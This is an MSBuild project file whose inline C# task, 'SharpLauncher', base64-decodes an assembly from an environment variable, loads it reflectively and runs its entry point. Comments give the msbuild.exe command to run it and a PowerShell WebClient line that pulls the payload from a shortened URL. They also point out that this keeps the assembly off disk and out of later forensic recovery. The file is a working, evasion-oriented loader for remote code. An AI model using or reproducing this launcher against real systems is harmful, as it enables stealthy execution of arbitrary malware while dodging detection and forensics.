msbuilder.xml

<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
  <!-- This inline task executes c# code. -->
  <!-- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exe msbuilder.xml -->
  <!-- Populate the Env Var like this or many other ways: -->
  <!-- $env:TheThingIs = (New-Object Net.Webclient).downloadstring('http://bit.ly/2upfWm0') -->
  <!-- This has the advantage of keeping the assembly out of the xml on disk if it were ever recovered -->
  <!-- This is just a simple example... MSBuild is a rich scripting engine with lots of abiltiy to customize the build process -->
  <Target Name="Hello">
    <SharpLauncher >
    </SharpLauncher>
  </Target>
  <UsingTask
    TaskName="SharpLauncher"
    TaskFactory="CodeTaskFactory"
    AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
    <ParameterGroup/>
    <Task>
      <Using Namespace="System" />
      <Using Namespace="System.Reflection" />
       
      <Code Type="Fragment" Language="cs">
        <![CDATA[
            string s = $(TheThingIs)
            byte[] b = System.Convert.FromBase64String(s);
            Assembly a = Assembly.Load(b);
            MethodInfo method = a.EntryPoint;
            object o = a.CreateInstance(method.Name);
            method.Invoke(o, null);
             
        ]]>
      </Code>
    </Task>
  </UsingTask>
</Project>